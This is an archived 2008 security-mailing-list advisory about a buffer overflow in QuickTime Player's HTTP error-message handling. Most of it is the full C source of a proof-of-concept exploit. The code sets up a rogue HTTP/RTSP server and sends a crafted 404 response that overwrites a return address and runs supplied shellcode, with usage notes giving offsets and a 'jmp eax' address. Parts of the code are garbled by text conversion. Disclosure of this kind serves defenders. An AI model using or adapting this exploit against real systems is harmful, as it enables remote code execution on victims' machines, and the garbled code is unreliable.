

[NT] Quicktime Player HTTP Error Message Buffer Overflow

Source: <http://www.derkeiler.com/Mailing-Lists/Securiteam/2008-01/msg00027.html>

- *From:* SecuriTeam <support@xxxxxxxxxxxxxxxx>
 - *Date:* 15 Jan 2008 08:17:50 +0200
-

The following security advisory is sent to the securiteam mailing list, and can be found at the SecuriTeam web site: <http://www.securiteam.com>
-- promotion

The SecuriTeam alerts list – Free, Accurate, Independent.

Get your security news from a reliable source.
<http://www.securiteam.com/maillinglist.html>

Quicktime Player HTTP Error Message Buffer Overflow

SUMMARY

A vulnerability in the way Quicktime displays error messages allows remote attackers to cause it to crash and execute arbitrary code. The vulnerability is triggered by a malformed HTTP response whenever the Quicktime is asked to connect to an RTSP server whose TCP port 554 and 7070 are closed but non-filtered.

DETAILS

Vulnerable Systems:

- * Quicktime Player version 7.3.1.70 and prior

Exploit:

/*

Copyright 2008 Luigi Auriemma –

<http://aluigi.altervista.org/poc/quicktimebof.zip>

This program is free software; you can redistribute it and/or modify it under the terms of the GNU General Public License as published by the Free Software Foundation; either version 2 of the License, or

[NT] Quicktime Player HTTP Error Message Buffer Overflow

(at your option) any later version.

This program is distributed in the hope that it will be useful,
but WITHOUT ANY WARRANTY; without even the implied warranty of
MERCHANTABILITY or FITNESS FOR A PARTICULAR PURPOSE. See the
GNU General Public License for more details.

You should have received a copy of the GNU General Public License
along with this program; if not, write to the Free Software
Foundation, Inc., 59 Temple Place, Suite 330, Boston, MA 02111-1307
USA

<http://www.gnu.org/licenses/gpl.txt>

*/

```
#include <stdio.h>
#include <stdlib.h>
#include <string.h>
#include <stdint.h>
#include <stdarg.h>
#include <time.h>
#include <ctype.h>
#include <sys/stat.h>

#ifdef WIN32
#include <direct.h>
#include <ws2tcpip.h>
#include <winsock.h>
#include "winerr.h"

#define close closesocket
#define sleep Sleep
#define in_addr_t uint32_t
#define ONESEC 1000
#else
#include <unistd.h>
#include <sys/socket.h>
#include <sys/types.h>
#include <arpa/inet.h>
#include <netdb.h>
#include <sys/ioctl.h>
#include <net/if.h>
#include <pthread.h>

#define ONESEC 1
#define strnicmp strncasecmp
#define stricmp strcasecmp
#define stristr strcasestr
#endif

#ifdef WIN32
```

[NT] Quicktime Player HTTP Error Message Buffer Overflow

```
#define quick_thread(NAME, ARG) DWORD WINAPI NAME(ARG)
#define thread_id DWORD
#else
#define quick_thread(NAME, ARG) void *NAME(ARG)
#define thread_id pthread_t
#endif

thread_id quick_threadx(void *func, void *data) {
thread_id tid;
#ifdef WIN32
if(!CreateThread(NULL, 0, func, data, 0, &tid)) return(0);
#else
pthread_attr_t attr;
pthread_attr_init(&attr);
pthread_attr_setdetachstate(&attr, PTHREAD_CREATE_DETACHED);
if(pthread_create(&tid, &attr, func, data)) return(0);
#endif
return(tid);
}

typedef uint8_t u8;
typedef uint16_t u16;
typedef uint32_t u32;

#define VER "0.1"
#define BUFFSZ 0xffff // for speed and for
any UDP packet
#define PORT 80
#define MAXWAIT 10

#define EXPLOIT_URI "life_is_pain_leave_it"
#define QTL "<?xml version=\"1.0\"?>\n" \
"<?quicktime
type=\"application/x-quicktime-media-link\"?>\n" \
"<embed src=\"rtsp://%s/file.mp3\"
autoplay=\"true\" type=\"audio/quicktime\"></embed>\n"

#define SEND(A,B,C) if(send(A, B, C, 0) < 0) goto quit
#define RECV(A,B,C) recv(A, B, C, 0)

u8 *fdload(u8 *fname, int *len);
int hex2bin(u8 *data, int len);
int bind_tcp_socket(struct sockaddr in *peer);
quick_thread(client, int sock);
int timeout(int sock);
in_addr t resolv(char *host);
in_addr t get_sock_ip_port(int sd, u16 *port);
```

[NT] Quicktime Player HTTP Error Message Buffer Overflow

```
void sock_printf(int sd, char *fmt, ...):  
void open_log(u8 *fname):  
void std_err(void):
```

```
u32 exploit_offset = 0;  
exploit_address = 0;  
int exploit_shellcodelen = 0;  
u8 *exploit_shellcode = "";
```

```
int main(int argc, char *argv[]) {  
struct sockaddr_in peer;  
int sdl;  
sda;  
psz;
```

```
#ifdef WIN32  
WSADATA wsadata;  
WSAStartup(MAKEWORD(1,0), &wsadata);  
#endif
```

```
setbuf(stdout, NULL);  
setbuf(stderr, NULL);
```

```
fputs("\n"  
"Quicktime Player <= 7.3.1.70 HTTP error message buffer-overflow"  
"VER"\n"  
"by Luigi Auriemma\n"  
"e-mail: aluigi@xxxxxxxxxxxxxx\n"  
"web: aluigi.org\n"  
"\n", stdout);
```

```
if(argc < 4) {  
printf("\n"  
"Usage: %s <offset> <retaddr> <shellcode>\n"  
"\n"  
"- offset is the offset in the error message (so \"HTTP/1.1  
404\" excluded) which\n"  
" will overwrite the return address, if in doubt try with  
1926, 2134, 1870 and\n"  
" so on (this offset seems to change depending by the URL or  
the OTL file)\n"  
"- retaddr is the return address you want to overwrite, a good  
value is\n"  
" 0x675b29eb because when the function returns, EAX will  
point to the previous\n"  
" offset. 0x675b29eb has a \"jmp eax\" so the code flow will  
continue where are\n"
```

[NT] Quicktime Player HTTP Error Message Buffer Overflow

```
" located the bytes of our return address \"eb 29\" which  
means \"jmp 0x29\".\n"  
" the tool will automatically fill this \"space\" if retaddr  
finishes with 0xeb\n"  
"- shellcode is a file containing the C-style shellcode you  
want to execute\n"  
" (so something like  
\"\\x31\\xc9\\x83\\xe9\\xdd\\xd9\\xee\\xd9... and so on)\n"  
" remember that the only bytes which must be avoided are 0x00  
0x0d 0x0a\n"  
" use \"\" to skip the usage of a shellcode\n"  
\"n"  
"Example:\n"  
" quicktimebof 2134 0x41414141 \"\".\n"  
" quicktimebof 2134 0x675b29eb shellcode.txt\n"  
\"n"  
"Remember that your ports 554 and 7070 must be closed and  
non-filtered!\n"  
\"n\", argv[0];  
exit(1);  
└  
  
sscanf(argv[1], \"%d\", &exploit_offset);  
sscanf(argv[2], \"%x\", &exploit_address);  
if(argv[3][0]) {  
exploit_shellcode = fdload(argv[3], &exploit_shellcodelen);  
exploit_shellcodelen = hex2bin(exploit_shellcode,  
exploit_shellcodelen);  
printf(\"- C/Perl/hex shellcode converted to binary (%d bytes)\n\",  
exploit_shellcodelen);  
└  
  
peer.sin_addr.s_addr = INADDR_ANY;  
peer.sin_port = htons(PORT);  
peer.sin_family = AF_INET;  
sdl = bind_tcp_socket(&peer);  
  
printf(\"n\")  
\"- now connect your Quicktime client to  
rtsp://127.0.0.1/file.mp3\n  
\" this PoC supports also qtl, use http://127.0.0.1/file.qtl in  
your browser\n  
\"n\");  
  
for(;;) {  
psz = sizeof(struct sockaddr_in);  
sda = accept(sdl, (struct sockaddr *)&peer, &psz);  
if(sda < 0) std_err();  
  
sock_printf(sda, \"connected\n\");
```

[NT] Quicktime Player HTTP Error Message Buffer Overflow

```
if(!quick_threadx(client, (void *)sda)) {  
sock_printf(sda, "unable to create thread\n");  
close(sda);  
}  
}
```

```
close(sdl);  
return(0);  
}
```

```
u8 *fdload(u8 *fname, int *len) {  
struct stat xstat;  
FILE *fd;  
u8 *ret;  
  
printf("- open %s\n", fname);  
fd = fopen(fname, "rb");  
if(!fd) std_err();  
fstat(fileno(fd), &xstat);  
ret = malloc(xstat.st_size);  
if(!ret) std_err();  
*len = fread(ret, 1, xstat.st_size, fd);  
fclose(fd);  
printf("- %d bytes loaded\n", *len);  
return(ret);  
}
```

```
int hex2bin(u8 *data, int len) {  
int c;  
u8 *i,  
*o,  
*l;  
  
i = data;  
o = data;  
l = data + len;  
  
for(; i < l; i++) {  
if((*i == '\r') || (*i == '\n')) continue;  
if((*i == '#') || (*i == '/') || (*i == 'm') || (*i == 'u')) {  
for(; i < l; i++) { // "my" and "unsigned"  
if(*i == '\n') break;  
}  
} else {  
break;  
}  
}
```

[NT] Quicktime Player HTTP Error Message Buffer Overflow

```
for(; i < l; i++) {  
c = tolower(*i);  
if(((c >= '0') && (c <= '9')) || ((c >= 'a') && (c <= 'f')) {  
sscanf(i, "%02x", &c);  
*o++ = c;  
i++;  
}  
}  
return(o - data);  
}
```

```
int bind_tcp_socket(struct sockaddr in *peer) {  
int sd,  
psz,  
on = 1;
```

```
peer->sin_addr.s_addr = INADDR_ANY;  
if(peer->sin_port) {  
printf("- bind %s:%hu\n",  
inet_ntoa(peer->sin_addr), ntohs(peer->sin_port));  
} else {  
peer->sin_port = 0;  
}  
peer->sin_family = AF_INET;
```

```
sd = socket(AF_INET, SOCK_STREAM, IPPROTO_TCP);  
if(sd < 0) std_err();
```

```
if(peer->sin_port) {  
if(setsockopt(sd, SOL_SOCKET, SO_REUSEADDR, (char *)&on,  
sizeof(on))  
< 0) std_err();  
}
```

```
if(bind(sd, (struct sockaddr *)peer, sizeof(struct sockaddr in))  
< 0) std_err();
```

```
psz = sizeof(struct sockaddr in);  
if(getsockname(sd, (struct sockaddr *)peer, &psz)  
< 0) std_err();
```

```
if(listen(sd, SOMAXCONN)  
< 0) std_err();
```

```
return(sd);  
}
```

[NT] Quicktime Player HTTP Error Message Buffer Overflow

```
quick_thread(client, int sd) {
    struct sockaddr_in peer;
    struct in_addr myip;
    int t,
    i,
    len,
    rem;
    u8 req[16],
    uri[128],
    useragent[128],
    *buff,
    *p;

    buff = NULL;
    memset(&peer, 0, sizeof(struct sockaddr_in));

    buff = malloc(BUFFSZ + 1);
    if(!buff) goto quit;

    myip.s_addr = get_sock_ip_port(sd, NULL); // useful for automatic
    backconnect shell too

    for(;;) {
        len = 0;
        for(;;) {
            t = recv(sd, buff + len, BUFFSZ - len, 0);
            if(t <= 0) goto quit;
            len += t;
            buff[len] = 0;
            if(strstr(buff, "\r\n\r\n") || strstr(buff, "\n\n")) break;
        }

        printf("\n%s", buff);
        sscanf(buff, "%15[^\t\r\n] %127[^\t\r\n]", req, uri);

        p = (u8 *)strstr(buff, "\nContent-Length:");
        if(p) {
            len = atoi(p + 17);
            if(len < 0) goto quit;
            for(rem = BUFFSZ; len; len -= t) {
                if(len < rem) rem = len;
                t = recv(sd, buff, rem, 0);
                if(t <= 0) goto quit;
            }
        }

        sleep(ONESEC); // I use sleep here because gives better results,
        moreover in localhost

        if(stristr(uri, ".qt")) {
```

[NT] Quicktime Player HTTP Error Message Buffer Overflow

```
len = sprintf(buff,
"HTTP/1.0 200 OK\r\n"
"Content-Type: application/x-quicktimeplayer\r\n"
"Content-Length: %d\r\n"
"\r\n", strlen(OTL) - 2 /* %s */ +
strlen(inet_ntoa(myip)));

len += sprintf(buff + len,
OTL,
inet_ntoa(myip));

send(sd, buff, len, 0);
break;
}
if(!stristr(uri, EXPLOIT_URI)) { // in my tests this step is
very very useful for the success of the exploitation
len = sprintf(buff,
"HTTP/1.0 302\r\n"
"Location: rtsp://%s/%s\r\n"
"\r\n",
inet_ntoa(myip),
EXPLOIT_URI);

send(sd, buff, len, 0);
break;
}

p = (u8 *)stristr(buff, "\nuser-agent:");
if(p) sscanf(p + 13, "%127[^\t\r\n]", useragent);

p = buff;
p += sprintf(p, "HTTP/1.0 404 ");

printf("- insert %d bytes with value 0x01\n", exploit_offset);
for(i = 0; i < exploit_offset; i++) *p++ = 0x01;

printf("- place return address at offset %d\n", p - buff);
*(u32 *)p = exploit_address;
p += 4;

if((exploit_address & 0xff) == 0xeb) {
printf("- add additional bytes for the jmp XX in the return
address (jmp eax)\n");
for(i = ((exploit_address >> 8) & 0xff) - 4 + 2; i > 0; i--)
*p++ = 0x90;
}

printf("- add shellcode of %d bytes\n", exploit_shellcode);
p += sprintf(p, "%s\r\n\r\n", exploit_shellcode);

printf("- send %d bytes to the client\n", p - buff);
```

[NT] Quicktime Player HTTP Error Message Buffer Overflow

```
send(sd, buff, p - buff, 0);
}

sleep(ONESEC * 3); // it's not needed but I like it

quit:
if(buff) free(buff);
sock_printf(sd, "disconnected\n");
close(sd);
return(0);
}

int timeout(int sock) {
struct timeval tout;
fd_set fd_read;
int err;

tout.tv_sec = MAXWAIT;
tout.tv_usec = 0;
FD_ZERO(&fd_read);
FD_SET(sock, &fd_read);
err = select(sock + 1, &fd_read, NULL, NULL, &tout);
if(err < 0) std_err();
if(!err) return(-1);
return(0);
}

in_addr_t resolv(char *host) {
struct hostent *hp;
in_addr_t host_ip;

host_ip = inet_addr(host);
if(host_ip == INADDR_NONE) {
hp = gethostbyname(host);
if(hp) host_ip = *(in_addr_t*)(hp->h_addr);
}
return(host_ip);
}

in_addr_t get_sock_ip_port(int sd, u16 *port) {
struct sockaddr_in peer;
int psz;

psz = sizeof(struct sockaddr_in);
```

[NT] Quicktime Player HTTP Error Message Buffer Overflow

```
if(getsockname(sd, (struct sockaddr *)&peer, &psz)  
< 0) std_err();  
  
if(port) *port = ntohs(peer.sin_port);  
  
return(peer.sin_addr.s_addr);  
}  
  
  
in_addr_t get_peer_ip_port(int sd, u16 *port) {  
struct sockaddr_in peer;  
int psz;  
  
psz = sizeof(struct sockaddr_in);  
  
if(getpeername(sd, (struct sockaddr *)&peer, &psz) < 0) {  
peer.sin_addr.s_addr = 0; // avoids possible  
problems  
peer.sin_port = 0;  
}  
  
if(port) *port = ntohs(peer.sin_port);  
  
return(peer.sin_addr.s_addr);  
}  
  
  
void sock_printf(int sd, char *fmt, ...) {  
va_list ap;  
in_addr_t ip;  
int len;  
u16 port;  
u8 buff[1024]; // unfortunately its  
needed for  
// a "one line  
show"... blah  
ip = get_peer_ip_port(sd, &port);  
  
va_start(ap, fmt);  
len = sprintf(buff, "%s:%hu ", inet_ntoa(*(struct in_addr *)&ip),  
port);  
len += vsnprintf(buff + len, sizeof(buff) - len - 1, fmt, ap);  
va_end(ap);  
  
if((len < 0) || (len >= sizeof(buff))) {  
strcpy(buff + sizeof(buff) - 6, "...\\n");  
}  
  
fputs(buff, stdout);
```

↓

```
#ifndef WIN32
void std_err(void) {
perror("\nError");
exit(1);
}
#endif
```

ADDITIONAL INFORMATION

The information has been provided by <mailto:aluigi@xxxxxxxxxxxx> Luigi Auriemma.

The original article can be found at:
<http://aluigi.altervista.org/poc/quicktimebof.zip>
http://aluigi.altervista.org/poc/quicktimebof.zip

=====

This bulletin is sent to members of the SecuriTeam mailing list.
To unsubscribe from the list, send mail with an empty subject line and body to:
list-unsubscribe@xxxxxxxxxxxx
In order to subscribe to the mailing list, simply forward this email to: list-subscribe@xxxxxxxxxxxx

=====

DISCLAIMER:
The information in this bulletin is provided "AS IS" without warranty of any kind.
In no event shall we be liable for any damages whatsoever including direct, indirect, incidental, consequential, loss of business profits or special damages.